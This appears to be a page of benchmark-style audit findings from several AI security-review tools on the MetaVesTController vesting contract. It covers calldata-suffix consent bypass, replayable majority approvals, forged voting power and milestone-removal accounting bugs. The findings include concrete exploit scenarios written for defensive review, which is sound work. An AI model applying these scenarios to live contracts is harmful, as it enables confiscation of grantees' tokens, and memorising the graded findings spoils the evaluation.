The majority consent path hashes only the last 32 bytes of execution calldata rather than the decoded amendment argument. For the two-argument update functions, ordinary ABI calldata places the amendment value in the second argument word, but trailing bytes can be appended without changing those decoded arguments. An authority can therefore encode a different value in the argument word and append the originally approved word at the end.
consentChecksees the approved trailing hash while the function body forwards the different decoded value. The selector and set checks do not prevent this value substitution.
Pashov (Claude Opus 5.5 high)
Approved majority amendments never expire or reset and can be replayed indefinitely
src/MetaVesTController.sol:140Predicted severity: Medium- Root cause
-
No expiry or consumption of majority proposals at execution time; consent is bound only to the final 32 bytes of calldata.
- Impact
-
Once a majority approved a change at any point (even years earlier), authority can re-apply it whenever it likes, including to members added to the set later or after their parameters changed (e.g. re-setting a vesting rate the grantees later negotiated up, or removing milestones by index again after new milestones were added).
- Description
-
For metavests in a set, consentCheck only checks isPending, the vote ratio, and the hash of the last 32 bytes of calldata. It does not check proposal.time + AMENDMENT_TIME_LIMIT, and _resetAmendmentParams only clears the individual-consent mapping, not functionToSetMajorityProposal. Votes are also counted with live power at vote time against a stale totalVotingPower snapshot, and metavests added to the set later are bound by a proposal they never voted on.
- Exploit scenario
-
Set approves removeMetavestMilestone with index 0. Months later authority adds a new milestone at index 0 for a new member's grant and immediately calls removeMetavestMilestone(newMember, 0) using the old approval.
- Recommendation
-
Check expiry in consentCheck, delete the majority proposal after execution, and snapshot both membership and power at proposal time.
Pashov (Codex GPT-6 Sol high)
Trailing calldata bypasses the value approved by a majority
src/MetaVesTController.sol:140Predicted severity: High- Root cause
-
consentCheck binds the final calldata word rather than the decoded amendment parameter or exact full calldata.
- Impact
-
The authority can execute a different price, rate, transferability, or stop value from the one approved by voters.
- Description
-
Majority approval hashes the final 32 calldata bytes, while Solidity decodes a setter parameter from its fixed ABI position and accepts trailing bytes.
- Exploit scenario
-
Voters approve updateMetavestUnlockRate(grant,1). Authority calls the selector with grant, decoded rate 0, and an extra trailing ABI word 1. The suffix hash matches while the setter applies 0.
- Recommendation
-
Decode and compare the approved parameter explicitly or hash canonical calldata with an exact-length check.
Devin Security
Passed majority amendments never expire or reset and bind only the last 32 bytes of calldata
src/MetaVesTController.sol:140Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After one majority amendment passes, the authority can reuse it forever, on any grant in the set, with any value in the other arguments, so grantees lose control over later changes to their grants.
##### What's wrong
This is a consent replay bug. The majority proposal stores a hash of only the last 32 bytes of the calldata.
consentCheckcompares against that hash but does not check the one-week expiry._resetAmendmentParamsclears only the individual-consent mapping, neverfunctionToSetMajorityProposal. A passed proposal stays valid with no time limit.##### Who can do it
The Acme authority gets the "engineering" set to approve a single cut of the vesting rate to
X. Months later, the authority callsupdateMetavestVestingRateagain on every grant in the set, without a new vote. The authority can also call any function whose last argument encodes as the same 32 bytes, for exampleremoveMetavestMilestonewith an index that equalsX.- The caller is the controller authority.
- One majority proposal for that function and set has passed at some point.
##### What they get
The authority can apply the amendment again whenever it wants, including after grantees have been added to the set who never voted. Because the grant address is not part of the hash, one approval covers every grant in the set. This lets the authority impose term changes without the consent grantees bargained for. The impact is limited to grants in sets under this controller.
##### How it works
1.
proposeMajorityMetavestAmendmentstoreskeccak256(_callData[_callData.length - 32:])(MetaVesTController.sol:580).2.
consentCheckchecks pending status, the vote ratio, and the 32-byte hash, but not the proposal time (MetaVesTController.sol:146).3. After the call,
_resetAmendmentParamsdeletes only the individual proposal (MetaVesTController.sol:611-613), so the majority proposal remains pending and passed.4. The authority calls the same function again on any grant in the set, and it succeeds.
- Exploit scenario
-
Not specified.
- Recommendation
-
Hash the full calldata, minus the grant address if the amendment is meant to cover the whole set, and include the function selector. Check
_checkFunctionToTokenToAmendmentTimeinsideconsentCheck. Clear or mark the majority proposal as used once it has been applied to every grant in the set. Add a test that a second call after execution reverts.
Claude Security (Sonnet 5.5)
Majority-consent check hashes only the last 32 bytes of raw calldata, so authority can append trailing bytes to execute a different value than the one voters approved
src/MetaVesTController.sol:146Predicted severity: High- Root cause
-
Vulnerable symbol: consentCheck
Preconditions: The attacker is the authority; The target grant is in a set, so the majority path is used; At least one majority proposal for that function signature and set has been approved, which can be for any benign value
Offending code:
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
- Impact
-
Grantee/majority consent is not bound to the executed parameters. A malicious authority can apply arbitrary price, unlock-rate, vesting-rate or stop-time values to every grant in a set after obtaining approval for a harmless value. Retroactive rate rewrites reduce vested or unlocked balances, which can then be recovered with terminateMetavestVesting.
- Description
-
For grants in a set, consentCheck is called with msg.data and binds the approval only to keccak256 of the final 32 bytes of the raw calldata. The Solidity ABI decoder accepts extra trailing calldata, so the authority (the only caller of the guarded functions) controls those last 32 bytes independently of the real function argument. Also CWE-863: The authority controls set membership (addMetaVestToSet) and the proposal. The majority predicate only reverts when totalVotingPower is strictly greater than twice currentVotingPower, so a proposal with zero total power, or exactly 50%, passes with no grantee vote. The authority can also inflate its own votes with unfunded shell allocations that the public allocation factories let anyone create. This replaces the per-grantee consent that the README says is required for these amendments. Also CWE-20:
msg.datais attacker-influenced because ABI decoding ignores calldata beyond the declared arguments.consentCheckcompareskeccak256(_data[_data.length - 32:])with the stored hash.authoritycan append a 32-byte word equal to the approved value to a call whose real arguments differ, and the check still passes. Also CWE-130: For grants in a set, consentCheck is passed msg.data and assumes its last 32 bytes are the function's last argument. The authority controls the raw calldata. The Solidity ABI decoder ignores bytes beyond the expected arguments, so the authority can append a 32-byte word equal to the approved value and put a different value in the real argument slot. Also CWE-697: The majority testtotalVotingPower > currentVotingPower*2evaluates to false when both values are 0. proposeMajorityMetavestAmendment snapshots totalVotingPower from getGoverningPower(), which is 0 for token-option grants nobody has exercised and for vesting grants before vestingStartTime (default govType is vested). A proposal made in that state counts as majority-approved with no votes. Also CWE-354: In the set (majority) path of consentCheck, the commitment is keccak256(_data[_data.length - 32:]) of msg.data, not of the decoded arguments. Solidity ignores extra trailing calldata, so the authority can append the approved 32-byte word to a call whose real arguments differ and still pass the check. Also CWE-190: A fake_grantcan contribute an arbitrary_callerPower, for example 2^255, whichproposal.currentVotingPower += _callerPoweraccepts. The unchecked-magnitude value is then doubled in consentCheck, where Solidity 0.8 checked arithmetic panics on overflow, so every consentCheck for that function and set reverts. - Exploit scenario
-
1) Authority calls proposeMajorityMetavestAmendment("S", updateExerciseOrRepurchasePrice.selector, abi.encode(P_benign)); the stored dataHash is keccak256(abi.encode(P_benign)). 2) Grantees in S vote in favor of the benign value and the quorum is met. 3) Authority sends a raw call to updateExerciseOrRepurchasePrice(grantX, P_evil) with abi.encode(P_benign) appended to the calldata. The modifier hashes the trailing 32 bytes, which equal P_benign, so the check passes while the decoded _newPrice is P_evil. The same trick applies to updateMetavestUnlockRate, updateMetavestVestingRate, updateMetavestStopTimes, removeMetavestMilestone and setMetaVestGovVariables, and it applies to every grant in the set.
- Recommendation
-
Bind the approval to the full decoded call. Hash abi.encode of the actual typed arguments inside the function, or require msg.data.length to equal the exact expected length. Include the function selector and every argument that matters in the proposal hash. Do not hash a calldata suffix. Also CWE-863: Require a strict majority (currentVotingPower*2 > totalVotingPower, and totalVotingPower > 0). Enforce expiry of the set proposal at execution time. Consume or reset the set proposal after use. Require grantee consent, or a validated and controller-registered allocation, before a grant can be added to a set. Verify set members against a registry of allocations the controller itself created, not just a controller() match, because the public factories can forge that. Also CWE-20: Bind the approval to the exact parameters. Enforce the expected calldata length (
_data.length == 4 + 32*nArgs) and hash all arguments after_grant, for examplekeccak256(_data[36:]). Alternatively decode the amendment value explicitly per function and compare it. Also check proposal expiry inconsentCheckand reset the majority proposal after use. Also CWE-130: Bind the approval to the decoded arguments instead of a calldata tail. For example, require msg.data.length to equal the canonical length for the selector, or recompute the hash from the decoded value (keccak256(abi.encode(<last param>))) inside each function. Record the full approved parameters, not a hash of the last word. Reject calldata with trailing bytes. Also clear the proposal after use or after it expires. Also CWE-697: Require totalVotingPower > 0 when proposing, and require currentVotingPower*2 > totalVotingPower, or >= with explicit semantics, with a non-zero current power. Do not let the authority place grants into a set without grantee consent. Also expire and reset proposals after execution. Also CWE-354: Bind consent to the decoded arguments, not raw calldata tails. Hash abi.encode of the specific parameters (excluding the per-grant address if set-wide application is intended), or require msg.data.length to equal the exact expected length and hash the full argument region. Do the same in proposeMajorityMetavestAmendment, and have the proposer pass structured parameters instead of a raw bytes blob. Also CWE-190: Validate_grantas a real set member, so power is bounded by real balances, and compute the majority test without multiplication (for examplecurrent > total - current, or compare againsttotal/2). Allow replacing an expired or consumed proposal by fixing the inverted pending check at line 568.
Claude Security (Opus 5.5)
Majority consent passes with zero votes when the snapshot voting power is 0, and is not tied to current set membership
src/MetaVesTController.sol:146Predicted severity: High- Root cause
-
Vulnerable symbol: consentCheck
Preconditions: Attacker is the authority (proposals and set management are onlyAuthority); The target set's governing power is 0 at proposal time, or the authority can move the victim into such a set
Offending code:
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
- Impact
-
The authority can impose any consent-gated amendment on any grantee without a single vote, for example freezing vested tokens with an unlock rate of 0, raising option or repurchase prices, or removing milestones.
- Description
-
Consent counts as given whenever
totalVotingPower <= currentVotingPower*2.totalVotingPoweris a snapshot of the set's members taken when the proposal was made (lines 572-574). If that snapshot is 0, the check passes with no votes at all. The check is never re-run against who is in the set when the amendment executes, and exactly 50% also passes despite the documented '>50%' rule. Also CWE-20: For grants in a set, consentCheck compares the voted dataHash with keccak256 of only the last 32 bytes of the raw msg.data. The function itself reads its arguments through the ABI decoder, which ignores extra trailing calldata. The authority can therefore pass any _grant and parameter value and append the approved 32-byte word at the end, and the privileged onlyController call on the allocation then runs with values that were never voted on. Also CWE-436: The authority supplies msg.data, which is untrusted with respect to grantee consent. The consent check hashes only the trailing 32-byte word of msg.data (line 146; proposals store the same slice at line 580). The ABI decoder reads the amendment value at fixed offset 0x24 and ignores any extra trailing calldata. So the authority can put an arbitrary value in the decoded slot and append the majority-approved word at the end, and the check still passes. Also CWE-190:voteOnMetavestAmendment(lines 589-607) accepts any_grantcontract. It only checks thatgrantee() == msg.senderand never checks that the contract is an allocation in_setName, so the attacker sets thegetGoverningPower()value. That value is added toproposal.currentVotingPowerat line 606, and line 146 then computescurrentVotingPower*2with checked arithmetic. If the total is 2^255 or more, every call that goes throughconsentCheckpanics and reverts. Also CWE-1023: For grants in a set, consentCheck compares only the last 32-byte word of msg.data (_data[_data.length - 32:]) against the proposal hash, which is also built from only the last word (line 580). Solidity's ABI decoder ignores extra calldata after the arguments. So the bytes the consent check reads are not the bytes that become the function arguments. Also CWE-345: Line 580 commits the majority proposal to keccak256 of only the last 32 raw bytes of the proposed calldata, and line 146 checks the live msg.data the same way. The real arguments are ABI-decoded from fixed offsets (bytes 4..68), and Solidity ignores extra trailing calldata. The hash therefore does not bind the values that actually execute, and the authority can supply any argument while appending the approved word as trailing bytes. - Exploit scenario
-
The authority calls
createSet("evil")and thenproposeMajorityMetavestAmendment("evil", updateMetavestUnlockRate.selector, abi.encodeWithSelector(sel, victim, 0)). The set is empty, sototalVotingPoweris 0. It removes the victim's grant from its current set, if any, and callsaddMetaVestToSet("evil", victim). It then callsupdateMetavestUnlockRate(victim, 0).consentCheckfinds the victim in "evil", seesisPending, evaluates0 > 0as false, matches the last-32-byte hash, and runs the amendment. The same happens without any set manipulation for a set of new token-option grants: the defaultgovTypeisvestedand they have 0 governing power until exercise, so any majority proposal for them passes as soon as it is made. - Recommendation
-
Reject proposals with
totalVotingPower == 0and require a strict majority (currentVotingPower*2 > totalVotingPower). Bind each proposal to a frozen member list or snapshot so grants added after the proposal cannot be amended under it, and do not let the authority change a grant's set membership while proposals that affect it are pending. Also CWE-20: Do not authorize by hashing a slice of raw msg.data. Store the full keccak256 of the exact intended calldata (or of abi.encode of the decoded parameters) in the proposal. In consentCheck, recompute the hash from the decoded arguments and also bind the msg.sig and the set. At minimum, require msg.data.length to equal the canonical ABI length for the function, compare against the full calldata, delete the majority proposal after it is executed, and enforce AMENDMENT_TIME_LIMIT at execution time. Also CWE-436: Bind consent to the decoded parameters rather than raw calldata. For example, store keccak256(abi.encode(selector, value)) in the proposal and recompute it inside each function from the decoded argument. Alternatively, require msg.data.length to equal the exact ABI length (4 + 64) before hashing. Also check in proposeMajorityMetavestAmendment that _callData[0:4] == _msgSig. Also CWE-190: InvoteOnMetavestAmendment, only accept a_grantthat is a member ofsets[_setName]and was deployed by this controller's factories. Take voting power from that verified allocation, and cap the total so thatcurrentVotingPowercan never exceedtotalVotingPower. Compare votes without the possibly overflowing multiplication, for exampleproposal.currentVotingPower <= proposal.totalVotingPower - proposal.currentVotingPower. Also fix the inverted re-proposal guard at line 568 so that expired or poisoned proposals can be replaced. Also CWE-1023: Bind the full calldata. Store keccak256(_callData) at proposal time and compare it against keccak256(msg.data). Better, store the decoded new value and require it to equal the executed argument. Also reject msg.data whose length differs from the expected ABI-encoded length. Clear the majority proposal after execution and check its expiry. Also CWE-345: Bind the commitment to the full decoded intent, not to raw trailing bytes. For example, store keccak256(abi.encode(<decoded argument(s)>)) at proposal time and recompute it inside each amending function from its decoded parameters. Alternatively, require msg.data.length to equal the exact expected ABI length and hash msg.data[36:] (everything after the selector and grant). Reject proposals whose _callData length differs from the canonical encoding.
Vercel Security Review
Trailing calldata bypasses majority approval of amendment parameters
src/MetaVesTController.sol:146Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Majority consent authenticates only the calldata suffix.** -
src/MetaVesTController.sol:146-148```solidity title="src/MetaVesTController.sol:146-148"
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
revert MetaVesTController_AmendmentNeitherMutualNorMajorityConsented();
}
```
**2. Setters apply decoded arguments, not that suffix. Solidity permits trailing calldata: after a legitimate majority approval, malicious authority can change the actual unlock rate to zero while appending the approved word. The hash matches, but unlocking is frozen without consent. Other majority-protected setters share this bypass.** -
src/MetaVesTController.sol:465-467```solidity title="src/MetaVesTController.sol:465-467"
) external onlyAuthority conditionCheck consentCheck(_grant, msg.data) {
_resetAmendmentParams(_grant, msg.sig);
BaseAllocation(_grant).updateUnlockRate(_unlockRate);
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Hash canonical decoded parameters rather than the caller-controlled suffix. Reject trailing calldata and bind approval to the actual parameter used by each setter.
-
Removing confirmed milestones is possible metavest-7 · 6 writeups High
V12
Completed milestone deletion corrupts lifecycle accounting
src/MetaVesTController.sol:430Predicted severity: Medium- Root cause
-
Neither the controller cancellation wrapper nor the concrete deletion implementation enforces the uncompleted-milestone precondition. Deleting a completed entry desynchronizes array-based award sums from cumulative vested/unlocked accounting.
- Impact
-
Deleting a completed award can make termination or governing-power calculations revert through checked-arithmetic underflow. A consented cancellation can therefore become an accounting/liveness failure if a publicly confirmable milestone completes before execution; this is distinct from stranding an unconfirmed award's backing tokens.
- Description
-
removeMetavestMilestonedoes not recheck whether the milestone has completed before forwarding deletion. The concrete allocation deletion function also checks only termination and index bounds, so it can delete a completed milestone. Completion has already credited the award tomilestoneAwardTotaland possiblymilestoneUnlockedTotal, but deletion leaves those credited totals unchanged while removing the award from the milestone array. Termination and governing-power calculations later combine the reduced array sum with the unchanged credited totals. This can arise when a milestone completes after a cancellation amendment was proposed and consented, before authority executes it.
Pashov (Claude Opus 5.5 high)
Removing a milestone permanently locks its tokens and corrupts termination accounting
src/BaseAllocation.sol:243Predicted severity: Medium- Root cause
-
Deletion without refunding the award or adjusting totals, and no check that the milestone is incomplete.
- Impact
-
Milestone tokens are frozen forever in the allocation contract. Removing completed milestones can make terminate() or getAmountRepurchasable() revert, blocking termination and repurchase.
- Description
-
removeMilestone just deletes the array element. The milestoneAward tokens transferred in for it are not returned, and every later accounting loop sums milestones[i].milestoneAward, which is now 0. No path returns them: terminate() recovers only total + current milestone awards - vested, and VestingAllocation/RTA have no sweep. Removing an already completed milestone is also allowed (despite the doc saying 'if not yet confirmed'). Its award stays in milestoneAwardTotal but is gone from milestonesAllocation, so terminate/getAmountRepurchasable can underflow and revert. The deleted slot also stays confirmable by anyone (no conditions).
- Exploit scenario
-
Authority (with consent) removes an unconfirmed milestone worth 500 tokens. Later termination returns only the stream remainder, and the 500 tokens remain stuck in the VestingAllocation forever.
- Recommendation
-
On removal of an incomplete milestone, transfer its award back to authority. Disallow removing completed milestones.
Pashov (Codex GPT-6 Sol high)
Removing a completed milestone corrupts recovery accounting
src/BaseAllocation.sol:218Predicted severity: Medium- Root cause
-
There is no completed-milestone guard or counter reconciliation before deletion.
- Impact
-
Termination can underflow and revert permanently, while governing-power and funding totals disagree.
- Description
-
removeMilestone deletes a completed award from the milestone array but leaves its credited milestoneAwardTotal and milestoneUnlockedTotal unchanged.
- Exploit scenario
-
Fund a 100-token stream and a 100-token milestone, complete the milestone, vest 50 stream tokens, remove the milestone, and call VestingAllocation.terminate; it computes 100 - 150 and reverts.
- Recommendation
-
Reject removal of completed milestones, or consistently settle the credited amounts and funded tokens before deletion.
Devin Security (Deep)
removeMilestone can delete a completed milestone, corrupting totals so termination and repurchase revert forever
src/BaseAllocation.sol:243Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A grantee who front-runs a consented milestone removal by confirming the milestone first both keeps the award and makes the grant impossible to terminate, so the rest of the grant keeps vesting to them for good.
##### What's wrong
This is a missing state check. removeMilestone zeroes the milestone struct without checking the complete flag. After a completed milestone is removed, milestoneAwardTotal still counts its award but the sum over milestones[] does not, and every function that subtracts one from the other underflows and reverts.
##### Who can do it
Alice holds a grant from Acme Corp with a 1,000 token milestone whose condition list is empty or already satisfiable. Acme proposes removing that milestone and Alice consents, perhaps as part of a renegotiation. When Acme's removeMetavestMilestone transaction appears in the mempool, Alice sends confirmMilestone first (anyone may call it). The removal then lands on a completed milestone. The same state also arises by accident if any third party confirms the milestone between proposal and execution.
- The authority has proposed removal and consent exists (or the set-wide consent bypasses reported in MetaVesTController.sol are used).
- The milestone's conditions can be satisfied at that moment; empty conditionContracts, as used throughout the tests, always can.
- For the termination revert, the removed award must be at least as large as the still unvested part of the stream, which holds for the test fixtures where milestoneAward equals tokenStreamTotal.
##### What they get
Alice keeps the 1,000 token award, since milestoneAwardTotal already includes it, and Acme can never call terminate() on the grant because the recovery arithmetic underflows, so the remaining stream keeps vesting and unlocking to Alice. On a RestrictedTokenAward, getAmountRepurchasable reverts, so Acme can never repurchase. If the grant's govType is all, getGoverningPower reverts too, which makes proposeMajorityMetavestAmendment revert for every set containing the grant.
##### How it works
1. The authority proposes and Alice consents to removeMetavestMilestone(grant, i) (MetaVesTController.sol:433-439).
2. Alice calls confirmMilestone(i) (BaseAllocation.sol:218-238); lines 232-235 set complete and add the award to milestoneAwardTotal.
3. The authority's removeMetavestMilestone executes; removeMilestone (BaseAllocation.sol:243-248) only checks the index and deletes the struct at line 246.
4. VestingAllocation.terminate computes tokenStreamTotal + sum(milestones) - (linear vested + milestoneAwardTotal) + tokensWithdrawn (VestingAllocation.sol:86 via getVestedTokenAmount at 95-107); TokenOptionAllocation.terminate does the equivalent at TokenOptionAllocation.sol:156; RestrictedTokenAward.getAmountRepurchasable at RestrictedTokenAllocation.sol:184. With the removed award missing from the sum but present in milestoneAwardTotal, each underflows and reverts.
- Exploit scenario
-
Not specified.
- Recommendation
-
In removeMilestone revert when milestones[_milestoneIndex].complete is true or the award is already zero, or alternatively subtract the award from milestoneAwardTotal and milestoneUnlockedTotal when removing a completed milestone. Verify with a test that confirms a milestone, removes it, and asserts terminate() and getAmountRepurchasable() still work with correct amounts.
Claude Security (Sonnet 5.5)
removeMilestone zeroes the milestone but leaves its funded tokens stranded and breaks terminate/repurchase accounting
src/BaseAllocation.sol:246Predicted severity: Medium- Root cause
-
Vulnerable symbol: removeMilestone
Preconditions: A funded milestone is removed through the controller
Offending code:
delete milestones[_milestoneIndex];
- Impact
-
Permanent loss of the tokens funded for removed milestones in Vesting and RTA allocations, and possible bricking of terminate or repurchase for grants whose confirmed milestone was removed.
- Description
-
The controller funds every milestone at creation (milestoneAward is part of _total) and documents that removing a milestone makes its tokens recoverable. The allocation only deletes the array entry. VestingAllocation.terminate and RestrictedTokenAward.getAmountRepurchasable sum milestones[i].milestoneAward, which now excludes the deleted award, so the funded tokens are not part of any recoverable amount. If the milestone was already confirmed, milestoneAwardTotal still includes the award while the sum does not, which skews or underflows the same expressions.
- Exploit scenario
-
Authority and grantee agree to remove a 500-token milestone. After removeMetavestMilestone the 500 tokens stay in the VestingAllocation, and terminate() recovers only the remainder, so they are locked forever. If the removed milestone had been confirmed, terminate()/getAmountRepurchasable() can underflow and revert because vested includes an award that the sum no longer does.
- Recommendation
-
Track funded and removed milestone awards explicitly (for example keep the award in a removedMilestoneTotal that terminate and repurchase include), refuse to remove completed milestones, and send the removed award back to the authority at removal time.
Claude Security (Opus 5.5)
terminate() adds tokensWithdrawn to the recovery amount, so termination either takes the grantee's vested tokens or reverts
src/VestingAllocation.sol:86Predicted severity: High- Root cause
-
Vulnerable symbol: terminate
Preconditions: Grantee has withdrawn a nonzero amount before termination; Authority calls terminateMetavestVesting
Offending code:
tokensToRecover = allocation.tokenStreamTotal + milestonesAllocation - getVestedTokenAmount() + tokensWithdrawn;
- Impact
-
After any prior withdrawal, a routine termination confiscates vested tokens owed to the grantee, equal to the amount already withdrawn. Alternatively, a grantee can make their own grant impossible to terminate and keep vesting the unvested allocation.
- Description
-
The contract balance is tokenStreamTotal + milestones - tokensWithdrawn, but the recovery amount is computed as total - vested + tokensWithdrawn. The unvested remainder should be total - vested. The withdrawn amount is effectively counted twice, and the result is sent to the authority by safeTransfer at line 88. Also CWE-191: removeMilestone (BaseAllocation.sol:246) deletes a milestone without checking
complete. milestonesAllocation, the sum of current awards, drops, while milestoneAwardTotal, which is included in getVestedTokenAmount, keeps the deleted award. Once linear vesting is near full, T + milestonesAllocation - vested underflows and terminate reverts. The same applies to TokenOptionAllocation.sol:156. - Exploit scenario
-
Take T=1000 and vested=unlocked=600, after the grantee has withdrawn W=200, leaving a balance of 800. terminate() sends 1000-600+200=600 to the authority and leaves 200, while the grantee is still owed 600-200=400. The grantee loses 200 vested tokens. In general the leftover balance is V-2W, so the grantee always loses W. Conversely, once W > V/2 (for example, the grantee withdraws everything available, or front-runs terminateMetavestVesting with a withdraw), the transfer exceeds the balance and terminate reverts. The grantee keeps vesting, and the authority cannot pause vesting without the grantee's consent.
- Recommendation
-
Recover exactly the unvested amount, tokensStreamTotal + milestonesAllocation - getVestedTokenAmount(), with no tokensWithdrawn term. Equivalently, recover balanceOf(this) - (vested - tokensWithdrawn). Also CWE-191: In removeMilestone, revert if milestones[_milestoneIndex].complete is true. Base recovery calculations on the actual balance rather than on recomputed totals.
-
The function proposeMajorityMetavestAmendment cannot identify expired proposals metavest-8 · 7 writeups High
V12
First majority proposal blocks all replacements
src/MetaVesTController.sol:562Predicted severity: Medium- Root cause
-
The replacement guard compares against creation time instead of expiration time, and the majority proposal state machine has no completion or cancellation transition that clears
isPending. - Impact
-
A failed or expired first proposal can indefinitely disable subsequent majority-authorized amendments for that selector and set, including amendments needed to restore unlocking rates. Authority can restructure the set or move allocations to another consent track, so this is an amendment-path denial of service rather than an established permanent fund freeze.
- Description
-
proposeMajorityMetavestAmendmentrejects an existing pending proposal whenever the current timestamp is greater than the proposal's creation timestamp. This comparison does not useAMENDMENT_TIME_LIMIT, so rejected, unvoted, and expired proposals all block replacements at later timestamps. There is also no transition that clears a majority proposal after execution:_resetAmendmentParamsdeletes only the individual amendment mapping. As a result, the first proposal reserves its selector/set slot indefinitely. Changing its proposed parameters through a later majority proposal is impossible while the same slot remains in use.
Pashov (Claude Opus 5.5 high)
proposeMajorityMetavestAmendment pending check is inverted, permanently blocking new proposals and allowing live ones to be overwritten
src/MetaVesTController.sol:562Predicted severity: Medium- Root cause
-
Inverted/incorrect comparison, and pending state is never reset after execution or expiry.
- Impact
-
Each function selector can receive only one majority amendment per set for the lifetime of the controller. If that proposal fails or expires, no new majority amendment can be proposed, which permanently disables the governance path for that set. Combined with the lack of reset after execution, the one approved proposal stays usable forever.
- Description
-
The guard is
if (isPending && block.timestamp > time) revert. time is the proposal timestamp and isPending is never cleared, so after the block where a proposal was made, every later proposal for that (msgSig, set) reverts forever. Within the same block, a pending proposal can be overwritten. The intended check was presumably 'pending and not expired' (block.timestamp < time + AMENDMENT_TIME_LIMIT). - Exploit scenario
-
Authority proposes updateMetavestVestingRate for set 'team'. It doesn't reach majority within the week. Any later proposeMajorityMetavestAmendment for that selector/set reverts with AmendmentAlreadyPending, so no rate amendment for the set is ever possible again.
- Recommendation
-
Revert only if isPending && block.timestamp < time + AMENDMENT_TIME_LIMIT, and clear the proposal after successful execution.
Pashov (Codex GPT-6 Sol high)
A pending majority proposal blocks new proposals indefinitely
src/MetaVesTController.sol:562Predicted severity: Medium- Root cause
-
The already-pending guard compares block.timestamp > proposal.time rather than the expiration time or pending lifetime.
- Impact
-
The authority cannot replace a rejected, stale, or already executed proposal for the same set and function in later blocks.
- Description
-
Once a majority proposal exists, the proposal function reverts whenever current time is later than its creation timestamp, even after the intended expiration.
- Exploit scenario
-
Propose once, wait one block, then try to propose a corrected rate amendment for the same set and selector; the call always reverts.
- Recommendation
-
Permit replacement after expiry or consume the proposal on execution, and compare against time + AMENDMENT_TIME_LIMIT.
Devin Security
Inverted pending check blocks every new majority proposal after the first
src/MetaVesTController.sol:567Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Once a majority proposal exists for a function and set, the authority can never propose a new one, which permanently freezes majority amendments for that function and set.
##### What's wrong
This is an inverted condition. The comment says to revert if a proposal is pending and not expired. The code reverts when
block.timestamp > time, which means "already started". Majority proposals are never cleared, soisPendingstays true and every later proposal reverts. A new proposal is only accepted in the same block, where it silently overwrites the live one and erases its votes.##### Who can do it
The Acme authority proposes a majority amendment for the "engineering" set. It fails or expires. When the authority tries to propose a corrected version, the call reverts forever. No outside attacker is needed. This is a stuck state under normal use.
- A prior majority proposal exists for that function selector and set name.
##### What they get
The authority can no longer use majority consent for that function on that set. It would have to remove grants from the set and get individual consent instead. This affects availability only.
##### How it works
1. The first proposal sets
isPending = trueandtime = block.timestamp(MetaVesTController.sol:575-582).2. In any later block,
isPending && block.timestamp > timeis true, so the call reverts (MetaVesTController.sol:568-569).3. Nothing ever clears
isPending. - Exploit scenario
-
Not specified.
- Recommendation
-
Revert only when
isPending && block.timestamp < time + AMENDMENT_TIME_LIMIT. Clear the majority proposal after it is executed. Add a test that a new proposal succeeds after the old one expires and fails while it is live.
Devin Security (Deep)
Majority consent can be forged with a fake grant, so authority can amend any grant without grantee consent
src/MetaVesTController.sol:589Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The authority, or anyone willing to help it, can pass any set-wide amendment vote with a throwaway contract that claims huge voting power, so the authority can change vesting rates, prices, milestones and stop times on any grant without the grantee ever agreeing.
##### What's wrong
This is an authorization bypass in the consent system.
voteOnMetavestAmendmentaccepts any_grantaddress, never checks that it belongs to the set being voted on or that this controller created it, and adds whatever voting power that address reports.addMetaVestToSetalso accepts any address and moves a grant from one-to-one consent to set voting without the grantee's agreement. A passed set proposal is never cleared or expired inconsentCheck, so it keeps authorizing the same change for any grant added to the set later.##### Who can do it
Alice, an engineer at Acme Corp, holds a vesting grant issued by Acme's multisig, which is the authority for this controller. Mallory controls the authority keys, or is any outsider who wants to help the authority. Mallory deploys a ten-line contract whose
grantee()returns her address and whosegetGoverningPower()returns 2^127. She can get the same effect with no custom code by calling the publicVestingAllocationFactory.createAllocationwith a huge cliff credit, which needs no tokens. The authority creates a set, adds Alice's grant to it, proposes a set amendment such as "set vesting rate to 0", and Mallory votes once with the fake grant.Conditions that must hold:
- The voter controls an address whose
grantee()returns the voter's address; no tokens and no real grant are needed.- A set proposal is pending for the target function selector and set name (the authority can create one at will, and only the authority benefits because only it can call the amending function).
- The target grant is in a set (the authority can add any grant with
addMetaVestToSet; no consent is required).##### What they get
The authority gains every power the consent system was meant to withhold. It can freeze Alice's vesting and unlocking by setting both rates to 0 and then terminate to claw back her unvested tokens, raise her option exercise price so the options are worthless, cut her restricted-token repurchase price to 1 wei before repurchasing, remove her milestones, or move her stop times. It can do this to every grant in this framework, one set at a time. It cannot touch grants under a different controller.
##### How it works
1. The authority calls
addMetaVestToSet("S", aliceGrant)(MetaVesTController.sol:667-671); nothing asks Alice.2. The authority calls
proposeMajorityMetavestAmendment("S", updateMetavestVestingRate.selector, callData)(MetaVesTController.sol:562-584);totalVotingPoweris the sum of the real members' power.3. Mallory calls
voteOnMetavestAmendment(fakeGrant, "S", selector, true)(MetaVesTController.sol:589-608). Line 591 only checksfakeGrant.grantee() == msg.sender; line 595 readsfakeGrant.getGoverningPower()(2^127) and line 606 adds it tocurrentVotingPower. Nothing checks thatfakeGrantis in set "S" or was created by this controller.4. The authority calls
updateMetavestVestingRate(aliceGrant, 0).consentCheck(MetaVesTController.sol:141-150) sees Alice's grant in "S", findstotalVotingPower <= currentVotingPower * 2, matches the last 32 bytes of calldata to the proposal hash, and lets the call through.5.
_resetAmendmentParams(MetaVesTController.sol:611-613) only clears the one-to-one proposal, andconsentChecknever checks the proposal's age, so the same passed proposal keeps authorizing the same change for any grant the authority adds to "S" afterwards. The re-proposal guard at line 568 (block.timestamp > time) also means the proposal can never be replaced. - Exploit scenario
-
Not specified.
- Recommendation
-
In
